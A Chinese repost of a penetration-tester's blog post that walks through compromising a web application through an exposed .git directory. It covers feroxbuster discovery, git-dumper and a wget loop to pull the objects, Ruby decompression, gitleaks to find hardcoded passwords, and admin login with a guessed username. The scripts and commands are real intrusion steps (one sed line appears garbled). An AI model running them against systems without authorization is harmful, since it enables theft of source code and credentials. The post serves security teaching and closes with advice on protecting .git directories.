Git 出错:通过暴露 .git 目录入侵应用程序

admin 2024年7月14日11:06:53评论16 views字数 2050阅读6分50秒阅读模式

每次渗透测试都从侦察开始,我的初始步骤总是涉及寻找可能有趣的端点。在一次交战中,我遇到了一个暴露的 .git 端点,我将讨论如何利用它来获得对应用程序的管理员级访问权限。

发现

在运行feroxbuster进行内容发现时,我发现应用程序上有一个 .git 端点。这暴露了几个文件,但更重要的是,它暴露了 /objects 文件夹。此文件夹可能会泄露包含凭据、机密和其他敏感信息的源代码。此外,检查或扫描代码可能会发现更多漏洞,我们将在后面讨论。

漏洞利用

我使用git-dumper提取 /objects 目录的内容,并将输出保存到文件中。但是,此过程仅检索每个对象的 URL,而不是实际的对象文件。

git-dumper http://website.com/.git ~/website >> file.txt

输出文件包含一些乱码,我必须将其过滤掉,才能创建一个仅包含下一步所用 URL 的干净文件。

sed ‘s/.*(https://.*)/1/’ file.txt >> clean_file.txt

此后,我创建了一个 bash 脚本来访问文件中的所有 URL 并将对象下载到文件夹中。

#!/bin/bash

# Directory to save the downloaded filesDOWNLOAD_DIR="objects"

# File containing the URLsURLS_FILE="clean_file.txt"

# Create the directory if it does not existmkdir -p "$DOWNLOAD_DIR"

# Read each URL from the file and download the filewhile IFS= read -r url; do    echo "Downloading from $url"    # wget to download the file from the URL    wget "$url" -P "$DOWNLOAD_DIR/"done < "$URLS_FILE"

echo "Download completed."

要以纯文本形式读取内容,首先需要解压缩。我使用 Ruby 来解压缩对象。

ruby -rzlib -e 'print Zlib::Inflate.new.inflate(STDIN.read)' < object

单独读取数百个文件需要很长时间。因此,下载对象后,我编写了另一个脚本来访问文件夹中的每个文件,使用 Ruby 解压缩对象,并将明文表示保存到不同的文件中以供日后使用。

#!/bin/bash

# Directory with the files to processINPUT_DIR="objects"

# Output file base nameOUTPUT_BASE="code"

# Counter for output file namingcount=1

# Process each file in the directoryfor file in "$INPUT_DIR"/*; do    if [[ -f $file ]]; then        # Apply the Ruby command to the file and save the output        ruby -rzlib -e 'print Zlib::Inflate.new.inflate(STDIN.read)' < "$file" > "${OUTPUT_BASE}${count}"        # Increment the file counter        ((count++))    fidone

echo "Processing completed."

现在我已经将所有对象保存在明文文件中,我使用gitleaks来搜索硬编码的凭证和秘密。

gitleaks detect --source='<location of the directory>' --no-git -v

果然,几秒钟之内就得到了结果,找到了两个密码。

Git 出错:通过暴露 .git 目录入侵应用程序

我没有用户名和密码,但我猜测“admin”可能有效。使用用户名“admin”的密码可以以管理员身份访问应用程序,从而破坏应用程序。

下一步是什么?

由于可以访问包含应用程序源代码的数百个文件,我可以手动阅读代码以查找其他漏洞。但是,这会花费大量时间。作为一种更快的解决方案,我使用了 VS Code 中的 Snyk 扩展(在此处阅读有关该扩展的更多信息)来自动扫描潜在漏洞。

结束语

在这篇博文中,我们探讨了暴露的 .git 目录如何导致重大安全漏洞。通过使用 feroxbuster、git-dumper、gitleaks 和一些 bash 脚本等工具,我们演示了如何从应用程序的源代码中提取敏感信息(例如硬编码凭据),这使我们能够获得对应用程序的管理员级访问权限。关键点是保护 .git 目录的重要性,并定期扫描代码库以查找漏洞和机密,以帮助防止此类泄露。

https://medium.com/@cybersekler/git-gone-wrong-application-compromise-via-exposed-git-directory-392806b23435

原文始发于微信公众号(Ots安全):Git 出错:通过暴露 .git 目录入侵应用程序

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月14日11:06:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Git 出错:通过暴露 .git 目录入侵应用程序https://cn-sec.com/archives/2952721.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息